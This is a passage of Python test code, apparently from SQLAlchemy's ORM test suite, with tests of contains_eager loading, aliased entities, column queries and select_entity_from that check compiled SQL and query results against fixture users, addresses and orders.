alias=ialias) def go(): result = list( q.options( contains_eager("orders", alias=oalias), contains_eager("orders.items", alias=ialias), ).from_statement(query) ) assert self.static.user_order_result == result self.assert_sql_count(testing.db, go, 1) def test_contains_eager_multi_aliased(self): Item, User, Order = ( self.classes.Item, self.classes.User, self.classes.Order, ) sess = fixture_session() q = sess.query(User) # test using Aliased with more than one level deep oalias = aliased(Order) ialias = aliased(Item) def go(): result = ( q.options( contains_eager(User.orders, alias=oalias), contains_eager(User.orders, Order.items, alias=ialias), ) .outerjoin(oalias, User.orders) .outerjoin(ialias, oalias.items) .order_by(User.id, oalias.id, ialias.id) ) assert self.static.user_order_result == result.all() self.assert_sql_count(testing.db, go, 1) def test_contains_eager_multi_aliased_of_type(self): # test newer style that does not use the alias parameter Item, User, Order = ( self.classes.Item, self.classes.User, self.classes.Order, ) sess = fixture_session() q = sess.query(User) # test using Aliased with more than one level deep oalias = aliased(Order) ialias = aliased(Item) def go(): result = ( q.options( contains_eager(User.orders.of_type(oalias)).contains_eager( oalias.items.of_type(ialias) ) ) .outerjoin(User.orders.of_type(oalias)) .outerjoin(oalias.items.of_type(ialias)) .order_by(User.id, oalias.id, ialias.id) ) assert self.static.user_order_result == result.all() self.assert_sql_count(testing.db, go, 1) def test_contains_eager_chaining(self): """test that contains_eager() 'chains' by default.""" Dingaling, User, Address = ( self.classes.Dingaling, self.classes.User, self.classes.Address, ) sess = fixture_session() q = ( sess.query(User) .join(User.addresses) .join(Address.dingaling) .options(contains_eager(User.addresses, Address.dingaling)) ) def go(): eq_( q.all(), # note we only load the Address records that # have a Dingaling here due to using the inner # join for the eager load [ User( name="ed", addresses=[ Address( email_address="ed@wood.com", dingaling=Dingaling(data="ding 1/2"), ) ], ), User( name="fred", addresses=[ Address( email_address="fred@fred.com", dingaling=Dingaling(data="ding 2/5"), ) ], ), ], ) self.assert_sql_count(testing.db, go, 1) def test_contains_eager_chaining_aliased_endpoint(self): """test that contains_eager() 'chains' by default and supports an alias at the end.""" Dingaling, User, Address = ( self.classes.Dingaling, self.classes.User, self.classes.Address, ) sess = fixture_session() da = aliased(Dingaling, name="foob") q = ( sess.query(User) .join(User.addresses) .join(da, Address.dingaling) .options( contains_eager(User.addresses, Address.dingaling, alias=da) ) ) def go(): eq_( q.all(), # note we only load the Address records that # have a Dingaling here due to using the inner # join for the eager load [ User( name="ed", addresses=[ Address( email_address="ed@wood.com", dingaling=Dingaling(data="ding 1/2"), ) ], ), User( name="fred", addresses=[ Address( email_address="fred@fred.com", dingaling=Dingaling(data="ding 2/5"), ) ], ), ], ) self.assert_sql_count(testing.db, go, 1) def test_mixed_eager_contains_with_limit(self): Order, User, Address = ( self.classes.Order, self.classes.User, self.classes.Address, ) sess = fixture_session() q = sess.query(User) def go(): # outerjoin to User.orders, offset 1/limit 2 so we get user # 7 + second two orders. then joinedload the addresses. # User + Order columns go into the subquery, address left # outer joins to the subquery, joinedloader for User.orders # applies context.adapter to result rows. This was # [ticket:1180]. result = ( q.outerjoin(User.orders) .options( joinedload(User.addresses), contains_eager(User.orders) ) .order_by(User.id, Order.id) .offset(1) .limit(2) .all() ) eq_( result, [ User( id=7, addresses=[ Address( email_address="jack@bean.com", user_id=7, id=1 ) ], name="jack", orders=[ Order( address_id=1, user_id=7, description="order 3", isopen=1, id=3, ), Order( address_id=None, user_id=7, description="order 5", isopen=0, id=5, ), ], ) ], ) self.assert_sql_count(testing.db, go, 1) sess.expunge_all() def go(): # same as above, except Order is aliased, so two adapters # are applied by the eager loader oalias = aliased(Order) result = ( q.outerjoin(oalias, User.orders) .options( joinedload(User.addresses), contains_eager(User.orders, alias=oalias), ) .order_by(User.id, oalias.id) .offset(1) .limit(2) .all() ) eq_( result, [ User( id=7, addresses=[ Address( email_address="jack@bean.com", user_id=7, id=1 ) ], name="jack", orders=[ Order( address_id=1, user_id=7, description="order 3", isopen=1, id=3, ), Order( address_id=None, user_id=7, description="order 5", isopen=0, id=5, ), ], ) ], ) self.assert_sql_count(testing.db, go, 1) class MixedEntitiesTest(QueryTest, AssertsCompiledSQL): __dialect__ = "default" def test_alias_naming(self): User = self.classes.User sess = fixture_session() ua = aliased(User, name="foobar") q = sess.query(ua) self.assert_compile( q, "SELECT foobar.id AS foobar_id, " "foobar.name AS foobar_name FROM users AS foobar", ) def test_correlated_subquery(self): """test that a subquery constructed from ORM attributes doesn't leak out those entities to the outermost query.""" Address, users, User = ( self.classes.Address, self.tables.users, self.classes.User, ) sess = fixture_session() subq = ( select(func.count()) .where(User.id == Address.user_id) .correlate(users) .label("count") ) # we don't want Address to be outside of the subquery here eq_( list(sess.query(User, subq)[0:3]), [ (User(id=7, name="jack"), 1), (User(id=8, name="ed"), 3), (User(id=9, name="fred"), 1), ], ) # same thing without the correlate, as it should # not be needed subq = ( select(func.count()) .where(User.id == Address.user_id) .label("count") ) # we don't want Address to be outside of the subquery here eq_( list(sess.query(User, subq)[0:3]), [ (User(id=7, name="jack"), 1), (User(id=8, name="ed"), 3), (User(id=9, name="fred"), 1), ], ) @testing.combinations((True,), (False,)) def test_no_uniquing_cols_legacy(self, with_entities): """test #6924""" User = self.classes.User Address = self.classes.Address sess = fixture_session() if with_entities: q = ( sess.query(User) .join(Address) .filter(Address.user_id == 8) .with_entities(User.id, User.name) .order_by(User.id) ) else: q = ( sess.query(User.id, User.name) .join(Address) .filter(Address.user_id == 8) .order_by(User.id) ) is_(q._compile_state()._primary_entity, None) eq_(q.all(), [(8, "ed"), (8, "ed"), (8, "ed")]) @testing.combinations((True,), (False,)) def test_no_uniquing_cols(self, with_entities): """test #6924""" User = self.classes.User Address = self.classes.Address if with_entities: stmt = ( select(User) .join(Address) .filter(Address.user_id == 8) .with_only_columns(User.id, User.name) .order_by(User.id) ) else: stmt = ( select(User.id, User.name) .join(Address) .filter(Address.user_id == 8) .order_by(User.id) ) compile_state = ORMSelectCompileState.create_for_statement(stmt, None) is_(compile_state._primary_entity, None) def test_column_queries_one(self): User = self.classes.User sess = fixture_session() eq_( sess.query(User.name).all(), [("jack",), ("ed",), ("fred",), ("chuck",)], ) def test_column_queries_two(self): users, User = ( self.tables.users, self.classes.User, ) sess = fixture_session() sel = users.select().where(User.id.in_([7, 8])).alias() q = sess.query(User.name) q2 = q.select_entity_from(sel).all() eq_(list(q2), [("jack",), ("ed",)]) def test_column_queries_three(self): Address, User = ( self.classes.Address, self.classes.User, ) sess = fixture_session() eq_( sess.query(User.name, Address.email_address) .filter(User.id == Address.user_id) .all(), [ ("jack", "jack@bean.com"), ("ed", "ed@wood.com"), ("ed", "ed@bettyboop.com"), ("ed", "ed@lala.com"), ("fred", "fred@fred.com"), ], ) def test_column_queries_four(self): Address, User = ( self.classes.Address, self.classes.User, ) sess = fixture_session() eq_( sess.query(User.name, func.count(Address.email_address)) .outerjoin(User.addresses) .group_by(User.id, User.name) .order_by(User.id) .all(), [("jack", 1), ("ed", 3), ("fred", 1), ("chuck", 0)], ) def test_column_queries_five(self): Address, User = ( self.classes.Address, self.classes.User, ) sess = fixture_session() eq_( sess.query(User, func.count(Address.email_address)) .outerjoin(User.addresses) .group_by(User) .order_by(User.id) .all(), [ (User(name="jack", id=7), 1), (User(name="ed", id=8), 3), (User(name="fred", id=9), 1), (User(name="chuck", id=10), 0), ], ) def test_column_queries_six(self): Address, User = ( self.classes.Address, self.classes.User, ) sess = fixture_session() eq_( sess.query(func.count(Address.email_address), User) .outerjoin(User.addresses) .group_by(User) .order_by(User.id) .all(), [ (1, User(name="jack", id=7)), (3, User(name="ed", id=8)), (1, User(name="fred", id=9)), (0, User(name="chuck", id=10)), ], ) def test_column_queries_seven(self): Address, User = ( self.classes.Address, self.classes.User, ) sess = fixture_session() adalias = aliased(Address) eq_( sess.query(User, func.count(adalias.email_address)) .outerjoin(adalias, "addresses") .group_by(User) .order_by(User.id) .all(), [ (User(name="jack", id=7), 1), (User(name="ed", id=8), 3), (User(name="fred", id=9), 1), (User(name="chuck", id=10), 0), ], ) def test_column_queries_eight(self): Address, User = ( self.classes.Address, self.classes.User, ) sess = fixture_session() adalias = aliased(Address) eq_( sess.query(func.count(adalias.email_address), User) .outerjoin(adalias, User.addresses) .group_by(User) .order_by(User.id) .all(), [ (1, User(name="jack", id=7)), (3, User(name="ed", id=8)), (1, User(name="fred", id=9)), (0, User(name="chuck", id=10)), ], ) def test_column_queries_nine(self): Address, User = ( self.classes.Address, self.classes.User, ) sess = fixture_session() adalias = aliased(Address) subq = ( sess.query(User, adalias.email_address, adalias.id) .outerjoin(adalias, User.addresses) .subquery() ) ua = aliased(User, subq) aa = aliased(adalias, subq) q = sess.query(ua, aa.email_address).order_by(ua.id, aa.id) # select from aliasing + explicit aliasing eq_( q.all(), [ (User(name="jack", id=7), "jack@bean.com"), (User(name="ed", id=8), "ed@wood.com"), (User(name="ed", id=8), "ed@bettyboop.com"), (User(name="ed", id=8), "ed@lala.com"), (User(name="fred", id=9), "fred@fred.com"), (User(name="chuck", id=10), None), ], ) def test_column_queries_ten(self): Address, User = ( self.classes.Address, self.classes.User, ) sess = fixture_session() # anon + select from aliasing aa = aliased(Address) subq = ( sess.query(User) .join(aa, User.addresses) .filter(aa.email_address.like("%ed%")) .subquery() ) ua = aliased(User, subq) eq_( sess.query(ua).all(), [User(name="ed", id=8), User(name="fred", id=9)], ) def test_column_queries_eleven(self): Address, User = ( self.classes.Address, self.classes.User, ) sess = fixture_session() adalias = aliased(Address) q1 = ( sess.query(User, adalias.email_address) .outerjoin(adalias, User.addresses) .options(joinedload(User.addresses)) .order_by(User.id, adalias.id) .limit(10) ) subq = ( sess.query(User, adalias.email_address, adalias.id) .outerjoin(adalias, User.addresses) .subquery() ) ua = aliased(User, subq) aa = aliased(adalias, subq) q2 = ( sess.query(ua, aa.email_address) .options(joinedload(ua.addresses)) .order_by(ua.id, aa.id) .limit(10) ) # test eager aliasing, with/without select_entity_from aliasing for q in [q1, q2]: eq_( q.all(), [ ( User( addresses=[ Address( user_id=7, email_address="jack@bean.com", id=1, ) ], name="jack", id=7, ), "jack@bean.com", ), ( User( addresses=[ Address( user_id=8, email_address="ed@wood.com", id=2, ), Address( user_id=8, email_address="ed@bettyboop.com", id=3, ), Address( user_id=8, email_address="ed@lala.com", id=4, ), ], name="ed", id=8, ), "ed@wood.com", ), ( User( addresses=[ Address( user_id=8, email_address="ed@wood.com", id=2, ), Address( user_id=8, email_address="ed@bettyboop.com", id=3, ), Address( user_id=8, email_address="ed@lala.com", id=4, ), ], name="ed", id=8, ), "ed@bettyboop.com", ), ( User( addresses=[ Address( user_id=8, email_address="ed@wood.com", id=2, ), Address( user_id=8, email_address="ed@bettyboop.com", id=3, ), Address( user_id=8, email_address="ed@lala.com", id=4, ), ], name="ed", id=8, ), "ed@lala.com", ), ( User( addresses=[ Address( user_id=9, email_address="fred@fred.com", id=5, ) ], name="fred", id=9, ), "fred@fred.com", ), (User(addresses=[], name="chuck", id=10), None), ], ) def test_column_from_limited_joinedload(self): User = self.classes.User sess = fixture_session() def go(): results = ( sess.query(User) .limit(1) .options(joinedload("addresses")) .add_columns(User.name) .all() ) eq_(results, [(User(name="jack"), "jack")]) self.assert_sql_count(testing.db, go, 1) def test_self_referential_from_self(self): Order = self.classes.Order sess = fixture_session() oalias = aliased(Order) q1 = ( sess.query(Order, oalias) .filter(Order.user_id == oalias.user_id) .filter(Order.user_id == 7) .filter(Order.id > oalias.id) .order_by(Order.id, oalias.id) ) subq = ( sess.query(Order, oalias).filter(Order.id > oalias.id).subquery() ) oa, oaa = aliased(Order, subq), aliased(oalias, subq) q2 = ( sess.query(oa, oaa) .filter(oa.user_id == oaa.user_id) .filter(oa.user_id == 7) .order_by(oa.id, oaa.id) ) # same thing, but reversed. subq = ( sess.query(oalias, Order).filter(Order.id < oalias.id).subquery() ) oa, oaa = aliased(Order, subq), aliased(oalias, subq) q3 = ( sess.query(oaa, oa) .filter(oaa.user_id == oa.user_id) .filter(oaa.user_id == 7) .order_by(oaa.id, oa.id) ) subq = ( sess.query(Order, oalias) .filter(Order.user_id == oalias.user_id) .filter(Order.user_id == 7) .filter(Order.id > oalias.id) .subquery() ) oa, oaa = aliased(Order, subq), aliased(oalias, subq) # here we go....two layers of aliasing (due to joinedload w/ limit) q4 = ( sess.query(oa, oaa) .order_by(oa.id, oaa.id) .limit(10) .options(joinedload(oa.items)) ) # gratuitous four layers subq4 = subq for i in range(4): oa, oaa = aliased(Order, subq4), aliased(oaa, subq4) subq4 = sess.query(oa, oaa).subquery() oa, oaa = aliased(Order, subq4), aliased(oaa, subq4) q5 = ( sess.query(oa, oaa) .order_by(oa.id, oaa.id) .limit(10) .options(joinedload(oa.items)) ) for q in [ q1, q2, q3, q4, q5, ]: eq_( q.all(), [ ( Order( address_id=1, description="order 3", isopen=1, user_id=7, id=3, ), Order( address_id=1, description="order 1", isopen=0, user_id=7, id=1, ), ), ( Order( address_id=None, description="order 5", isopen=0, user_id=7, id=5, ), Order( address_id=1, description="order 1", isopen=0, user_id=7, id=1, ), ), ( Order( address_id=None, description="order 5", isopen=0, user_id=7, id=5, ), Order( address_id=1, description="order 3", isopen=1, user_id=7, id=3, ), ), ], ) def test_from_self_internal_literals_newstyle(self): Order = self.classes.Order stmt = select( Order.id, Order.description, literal_column("'q'").label("foo") ).where(Order.description == "order 3") subq = aliased( Order, stmt.set_label_style(LABEL_STYLE_TABLENAME_PLUS_COL).subquery(), ) stmt = select(subq).set_label_style(LABEL_STYLE_TABLENAME_PLUS_COL) self.assert_compile( stmt, "SELECT anon_1.orders_id AS " "anon_1_orders_id, " "anon_1.orders_description AS anon_1_orders_description " "FROM (SELECT " "orders.id AS orders_id, " "orders.description AS orders_description, " "'q' AS foo FROM orders WHERE " "orders.description = :description_1) AS " "anon_1", ) def test_multi_mappers(self): Address, addresses, users, User = ( self.classes.Address, self.tables.addresses, self.tables.users, self.classes.User, ) test_session = fixture_session() (user7, user8, user9, user10) = test_session.query(User).all() ( address1, address2, address3, address4, address5, ) = test_session.query(Address).all() expected = [ (user7, address1), (user8, address2), (user8, address3), (user8, address4), (user9, address5), (user10, None), ] sess = fixture_session(future=True) selectquery = ( users.outerjoin(addresses) .select() .order_by(users.c.id, addresses.c.id) ) result = sess.execute( select(User, Address).from_statement(selectquery) ) eq_( list(result), expected, ) sess.expunge_all() for address_entity in (Address, aliased(Address)): q = ( sess.query(User) .add_entity(address_entity) .outerjoin(address_entity, "addresses") .order_by(User.id, address_entity.id) ) eq_(q.all(), expected) sess.expunge_all() q = sess.query(User).add_entity(address_entity) q = q.join(address_entity, "addresses") q = q.filter_by(email_address="ed@bettyboop.com") eq_(q.all(), [(user8, address3)]) sess.expunge_all() q = ( sess.query(User, address_entity) .join(address_entity, "addresses") .filter_by(email_address="ed@bettyboop.com") ) eq_(q.all(), [(user8, address3)]) sess.expunge_all() q = ( sess.query(User, address_entity) .join(address_entity, "addresses") .options(joinedload("addresses")) .filter_by(email_address="ed@bettyboop.com") ) eq_(list(util.OrderedSet(q.all())), [(user8, address3)]) sess.expunge_all() def test_aliased_multi_mappers(self): User, addresses, users, Address = ( self.classes.User, self.tables.addresses, self.tables.users, self.classes.Address, ) sess = fixture_session() (user7, user8, user9, user10) = sess.query(User).all() (address1, address2, address3, address4, address5) = sess.query( Address ).all() expected = [ (user7, address1), (user8, address2), (user8, address3), (user8, address4), (user9, address5), (user10, None), ] q = sess.query(User) adalias = addresses.alias("adalias") q = q.add_entity(Address, alias=adalias).select_entity_from( users.outerjoin(adalias) ) result = q.order_by(User.id, adalias.c.id).all() assert result == expected sess.expunge_all() q = sess.query(User).add_entity(Address, alias=adalias) result = ( q.select_entity_from(users.outerjoin(adalias)) .filter(adalias.c.email_address == "ed@bettyboop.com") .all() ) assert result == [(user8, address3)] def test_with_entities(self): User, Address = self.classes.User, self.classes.Address sess = fixture_session() q = sess.query(User).filter(User.id == 7).order_by(User.name) self.assert_compile( q.with_entities(User.id, Address).filter( Address.user_id == User.id ), "SELECT users.id AS users_id, addresses.id " "AS addresses_id, addresses.user_id AS " "addresses_user_id, addresses.email_address" " AS addresses_email_address FROM users, " "addresses WHERE users.id = :id_1 AND " "addresses.user_id = users.id ORDER BY " "users.name", ) def test_multi_columns(self): users, User = self.tables.users, self.classes.User sess = fixture_session() expected = [(u, u.name) for u in sess.query(User).all()] for add_col in (User.name, users.c.name): assert sess.query(User).add_columns(add_col).all() == expected sess.expunge_all() assert_raises( sa_exc.ArgumentError, sess.query(User).add_columns, object() ) def test_add_multi_columns(self): """test that add_column accepts a FROM clause.""" users, User = self.tables.users, self.classes.User sess = fixture_session() eq_( sess.query(User.id).add_columns(users).all(), [(7, 7, "jack"), (8, 8, "ed"), (9, 9, "fred"), (10, 10, "chuck")], ) def test_multi_columns_2(self): """test aliased/nonalised joins with the usage of add_columns()""" User, Address, addresses, users = ( self.classes.User, self.classes.Address, self.tables.addresses, self.tables.users, ) sess = fixture_session() (user7, user8, user9, user10) = sess.query(User).all() expected = [(user7, 1), (user8, 3), (user9, 1), (user10, 0)] q = sess.query(User) q = ( q.group_by(users) .order_by(User.id) .outerjoin("addresses") .add_columns(func.count(Address.id).label("count")) ) eq_(q.all(), expected) sess.expunge_all() adalias = aliased(Address) q = sess.query(User) q = ( q.group_by(users) .order_by(User.id) .outerjoin(adalias, "addresses") .add_columns(func.count(adalias.id).label("count")) ) eq_(q.all(), expected) sess.expunge_all() # TODO: figure out why group_by(users) doesn't work here count = func.count(addresses.c.id).label("count") s = ( select(users, count) .select_from(users.outerjoin(addresses)) .group_by(*[c for c in users.c]) .order_by(User.id) ) q = sess.query(User) result = ( q.add_columns(s.selected_columns.count).from_statement(s).all() ) assert result == expected def test_multi_columns_3(self): User = self.classes.User users = self.tables.users sess = fixture_session() q = sess.query(User.id, User.name) stmt = select(users).order_by(users.c.id) q = q.from_statement(stmt) eq_(q.all(), [(7, "jack"), (8, "ed"), (9, "fred"), (10, "chuck")]) def test_raw_columns(self): addresses, users, User = ( self.tables.addresses, self.tables.users, self.classes.User, ) sess = fixture_session() (user7, user8, user9, user10) = sess.query(User).all() expected = [ (user7, 1, "Name:jack"), (user8, 3, "Name:ed"), (user9, 1, "Name:fred"), (user10, 0, "Name:chuck"), ] adalias = addresses.alias() with fixture_session() as sess: q = ( sess.query(User) .add_columns( func.count(adalias.c.id), ("Name:" + users.c.name) ) .outerjoin(adalias) .group_by(users) .order_by(users.c.id) ) eq_(q.all(), expected) # test with a straight statement s = ( select( users, func.count(addresses.c.id).label("count"), ("Name:" + users.c.name).label("concat"), ) .select_from(users.outerjoin(addresses)) .group_by(*[c for c in users.c]) .order_by(users.c.id) ) with fixture_session() as sess: q = sess.query(User) result = ( q.add_columns( s.selected_columns.count, s.selected_columns.concat ) .from_statement(s) .all() ) eq_(result, expected) with fixture_session() as sess: # test with select_entity_from() q = ( fixture_session() .query(User) .add_columns( func.count(addresses.c.id), ("Name:" + users.c.name) ) .select_entity_from(users.outerjoin(addresses)) .group_by(users) .order_by(users.c.id) ) eq_(q.all(), expected) with fixture_session() as sess: q = ( sess.query(User) .add_columns( func.count(addresses.c.id), ("Name:" + users.c.name) ) .outerjoin("addresses") .group_by(users) .order_by(users.c.id) ) eq_(q.all(), expected) with fixture_session() as sess: q = ( sess.query(User) .add_columns( func.count(adalias.c.id), ("Name:" + users.c.name) ) .outerjoin(adalias) .group_by(users) .order_by(users.c.id) ) eq_(q.all(), expected) def test_expression_selectable_matches_mzero(self): User, Address = self.classes.User, self.classes.Address ua = aliased(User) aa = aliased(Address) s = fixture_session() for crit, j, exp in [ ( User.id + Address.id, User.addresses, "SELECT users.id + addresses.id AS anon_1 " "FROM users JOIN addresses ON users.id = " "addresses.user_id", ), ( User.id + Address.id, Address.user, "SELECT users.id + addresses.id AS anon_1 " "FROM addresses JOIN users ON users.id = " "addresses.user_id", ), ( Address.id + User.id, User.addresses, "SELECT addresses.id + users.id AS anon_1 " "FROM users JOIN addresses ON users.id = " "addresses.user_id", ), ( User.id + aa.id, (aa, User.addresses), "SELECT users.id + addresses_1.id AS anon_1 " "FROM users JOIN addresses AS addresses_1 " "ON users.id = addresses_1.user_id", ), ]: q = s.query(crit) mzero = q._compile_state()._entity_zero() is_(mzero, q._compile_state()._entities[0].entity_zero) q = q.join(j) self.assert_compile(q, exp) for crit, j, exp in [ ( ua.id + Address.id, ua.addresses, "SELECT users_1.id + addresses.id AS anon_1 " "FROM users AS users_1 JOIN addresses " "ON users_1.id = addresses.user_id", ), ( ua.id + aa.id, (aa, ua.addresses), "SELECT users_1.id + addresses_1.id AS anon_1 " "FROM users AS users_1 JOIN addresses AS " "addresses_1 ON users_1.id = addresses_1.user_id", ), ( ua.id + aa.id, (ua, aa.user), "SELECT users_1.id + addresses_1.id AS anon_1 " "FROM addresses AS addresses_1 JOIN " "users AS users_1 " "ON users_1.id = addresses_1.user_id", ), ]: q = s.query(crit) mzero = q._compile_state()._entity_zero() is_(mzero, q._compile_state()._entities[0].entity_zero) q = q.join(j) self.assert_compile(q, exp) def test_aliased_adapt_on_names(self): User, Address = self.classes.User, self.classes.Address sess = fixture_session() agg_address = sess.query( Address.id, func.sum(func.length(Address.email_address)).label( "email_address" ), ).group_by(Address.user_id) ag1 = aliased(Address, agg_address.subquery()) ag2 = aliased(Address, agg_address.subquery(), adapt_on_names=True) # first, without adapt on names, 'email_address' isn't matched up - we # get the raw "address" element in the SELECT self.assert_compile( sess.query(User, ag1.email_address) .join(ag1, User.addresses) .filter(ag1.email_address > 5), "SELECT users.id " "AS users_id, users.name AS users_name, addresses.email_address " "AS addresses_email_address FROM addresses, users JOIN " "(SELECT addresses.id AS id, sum(length(addresses.email_address)) " "AS email_address FROM addresses GROUP BY addresses.user_id) AS " "anon_1 ON users.id = addresses.user_id " "WHERE addresses.email_address > :email_address_1", ) # second, 'email_address' matches up to the aggregate, and we get a # smooth JOIN from users->subquery and that's it self.assert_compile( sess.query(User, ag2.email_address) .join(ag2, User.addresses) .filter(ag2.email_address > 5), "SELECT users.id AS users_id, users.name AS users_name, " "anon_1.email_address AS anon_1_email_address FROM users " "JOIN (" "SELECT addresses.id AS id, sum(length(addresses.email_address)) " "AS email_address FROM addresses GROUP BY addresses.user_id) AS " "anon_1 ON users.id = addresses.user_id " "WHERE anon_1.email_address > :email_address_1", ) class SelectFromTest(QueryTest, AssertsCompiledSQL): run_setup_mappers = None __dialect__ = "default" def test_replace_with_select(self): users, Address, addresses, User = ( self.tables.users, self.classes.Address, self.tables.addresses, self.classes.User, ) self.mapper_registry.map_imperatively( User, users, properties={"addresses": relationship(Address)} ) self.mapper_registry.map_imperatively(Address, addresses) sel = users.select().where(users.c.id.in_([7, 8])).alias() sess = fixture_session() eq_( sess.query(User).select_entity_from(sel).all(), [User(id=7), User(id=8)], ) eq_( sess.query(User) .select_entity_from(sel) .filter(User.id == 8) .all(), [User(id=8)], ) eq_( sess.query(User) .select_entity_from(sel) .order_by(desc(User.name)) .all(), [User(name="jack", id=7), User(name="ed", id=8)], ) eq_( sess.query(User) .select_entity_from(sel) .order_by(asc(User.name)) .all(), [User(name="ed", id=8), User(name="jack", id=7)], ) eq_( sess.query(User) .select_entity_from(sel) .options(joinedload("addresses")) .first(), User(name="jack", addresses=[Address(id=1)]), ) def test_select_from_aliased_one(self): User, users = self.classes.User, self.tables.users self.mapper_registry.map_imperatively(User, users) sess = fixture_session() not_users = table("users", column("id"), column("name")) ua = aliased(User, select(not_users).alias(), adapt_on_names=True) q = sess.query(User.name).select_entity_from(ua).order_by(User.name) self.assert_compile( q, "SELECT anon_1.name AS anon_1_name FROM (SELECT users.id AS id, " "users.name AS name FROM users) AS anon_1 ORDER BY anon_1.name", ) eq_(q.all(), [("chuck",), ("ed",), ("fred",), ("jack",)]) def test_select_from_aliased_two(self): User, users = self.classes.User, self.tables.users self.mapper_registry.map_imperatively(User, users) sess = fixture_session() ua = aliased(User) q = sess.query(User.name).select_entity_from(ua).order_by(User.name) self.assert_compile( q, "SELECT users_1.name AS users_1_name FROM users AS users_1 " "ORDER BY users_1.name", ) eq_(q.all(), [("chuck",), ("ed",), ("fred",), ("jack",)]) def test_select_from_core_alias_one(self): User, users = self.classes.User, self.tables.users self.mapper_registry.map_imperatively(User, users) sess = fixture_session() ua = users.alias() q = sess.query(User.name).select_entity_from(ua).order_by(User.name) self.assert_compile( q, "SELECT users_1.name AS users_1_name FROM users AS users_1 " "ORDER BY users_1.name", ) eq_(q.all(), [("chuck",), ("ed",), ("fred",), ("jack",)]) def test_differentiate_self_external(self): """test some different combinations of joining a table to a subquery of itself.""" users, User = self.tables.users, self.classes.User self.mapper_registry.map_imperatively(User, users) sess = fixture_session() sel = sess.query(User).filter(User.id.in_([7, 8])).subquery() ualias = aliased(User) self.assert_compile( sess.query(User).join(sel, User.id > sel.c.id), "SELECT users.id AS users_id, users.name AS users_name FROM " "users JOIN (SELECT users.id AS id, users.name AS name FROM users " "WHERE users.id IN ([POSTCOMPILE_id_1])) " "AS anon_1 ON users.id > anon_1.id", ) self.assert_compile( sess.query(ualias) .select_entity_from(sel) .filter(ualias.id > sel.c.id), "SELECT users_1.id AS users_1_id, users_1.name AS users_1_name " "FROM users AS users_1, (" "SELECT users.id AS id, users.name AS name FROM users " "WHERE users.id IN ([POSTCOMPILE_id_1])) AS anon_1 " "WHERE users_1.id > anon_1.id", check_post_param={"id_1": [7, 8]}, ) self.assert_compile( sess.query(ualias) .select_entity_from(sel) .join(ualias, ualias.id > sel.c.id), "SELECT users_1.id AS users_1_id, users_1.name AS users_1_name " "FROM (SELECT users.id AS id, users.name AS name " "FROM users WHERE users.id IN ([POSTCOMPILE_id_1])) AS anon_1 " "JOIN users AS users_1 ON users_1.id > anon_1.id", check_post_param={"id_1": [7, 8]}, ) self.assert_compile( sess.query(ualias) .select_entity_from(sel) .join(ualias, ualias.id > User.id), "SELECT users_1.id AS users_1_id, users_1.name AS users_1_name " "FROM (SELECT users.id AS id, users.name AS name FROM " "users WHERE users.id IN ([POSTCOMPILE_id_1])) AS anon_1 " "JOIN users AS users_1 ON users_1.id > anon_1.id", check_post_param={"id_1": [7, 8]}, ) salias = aliased(User, sel) self.assert_compile( sess.query(salias).join(ualias, ualias.id > salias.id), "SELECT anon_1.id AS anon_1_id, anon_1.name AS anon_1_name FROM " "(SELECT users.id AS id, users.name AS name " "FROM users WHERE users.id IN ([POSTCOMPILE_id_1])) AS anon_1 " "JOIN users AS users_1 ON users_1.id > anon_1.id", check_post_param={"id_1": [7, 8]}, ) self.assert_compile( sess.query(ualias).select_entity_from( join(sel, ualias, ualias.id > sel.c.id) ), "SELECT users_1.id AS users_1_id, users_1.name AS users_1_name " "FROM " "(SELECT users.id AS id, users.name AS name " "FROM users WHERE users.id " "IN ([POSTCOMPILE_id_1])) AS anon_1 " "JOIN users AS users_1 ON users_1.id > anon_1.id", check_post_param={"id_1": [7, 8]}, ) def test_aliased_class_vs_nonaliased(self): User, users = self.classes.User, self.tables.users self.mapper_registry.map_imperatively(User, users) ua = aliased(User) sess = fixture_session() self.assert_compile( sess.query(User).select_from(ua).join(User, ua.name > User.name), "SELECT users.id AS users_id, users.name AS users_name " "FROM users AS users_1 JOIN users ON users_1.name > users.name", ) self.assert_compile( sess.query(User.name) .select_from(ua) .join(User, ua.name > User.name), "SELECT users.name AS users_name FROM users AS users_1 " "JOIN users ON users_1.name > users.name", ) self.assert_compile( sess.query(ua.name) .select_from(ua) .join(User, ua.name > User.name), "SELECT users_1.name AS users_1_name FROM users AS users_1 " "JOIN users ON users_1.name > users.name", ) self.assert_compile( sess.query(ua).select_from(User).join(ua, ua.name > User.name), "SELECT users_1.id AS users_1_id, users_1.name AS users_1_name " "FROM users JOIN users AS users_1 ON users_1.name > users.name", ) self.assert_compile( sess.query(ua).select_from(User).join(ua, User.name > ua.name), "SELECT users_1.id AS users_1_id, users_1.name AS users_1_name " "FROM users JOIN users AS users_1 ON users.name > users_1.name", ) # this is tested in many other places here, just adding it # here for comparison self.assert_compile( sess.query(User.name).select_entity_from( users.select().where(users.c.id > 5).subquery() ), "SELECT anon_1.name AS anon_1_name FROM (SELECT users.id AS id, " "users.name AS name FROM users WHERE users.id > :id_1) AS anon_1", ) def test_join_no_order_by(self): User, users = self.classes.User, self.tables.users self.mapper_registry.map_imperatively(User, users) sel = users.select().where(users.c.id.in_([7, 8])) sess = fixture_session() eq_( sess.query(User).select_entity_from(sel.subquery()).all(), [User(name="jack", id=7), User(name="ed", id=8)], ) def test_join_relname_from_selected_from(self): User, Address = self.classes.User, self.classes.Address users, addresses = self.tables.users, self.tables.addresses self.mapper_registry.map_imperatively( User, users, properties={ "addresses": relationship( self.mapper_registry.map_imperatively(Address, addresses), backref="user", ) }, ) sess = fixture_session() self.assert_compile( sess.query(User).select_from(Address).join("user"), "SELECT users.id AS users_id, users.name AS users_name " "FROM addresses JOIN users ON users.id = addresses.user_id", ) def test_filter_by_selected_from(self): User, Address = self.classes.User, self.classes.Address users, addresses = self.tables.users, self.tables.addresses self.mapper_registry.map_imperatively( User, users, properties={ "addresses": relationship( self.mapper_registry.map_imperatively(Address, addresses) ) }, ) sess = fixture_session() self.assert_compile( sess.query(User) .select_from(Address) .filter_by(email_address="ed") .join(User), "SELECT users.id AS users_id, users.name AS users_name " "FROM addresses JOIN users ON users.id = addresses.user_id " "WHERE addresses.email_address = :email_address_1", ) def test_join_ent_selected_from(self): User, Address = self.classes.User, self.classes.Address users, addresses = self.tables.users, self.tables.addresses self.mapper_registry.map_imperatively( User, users, properties={ "addresses": relationship( self.mapper_registry.map_imperatively(Address, addresses) ) }, ) sess = fixture_session() self.assert_compile( sess.query(User).select_from(Address).join(User), "SELECT users.id AS users_id, users.name AS users_name " "FROM addresses JOIN 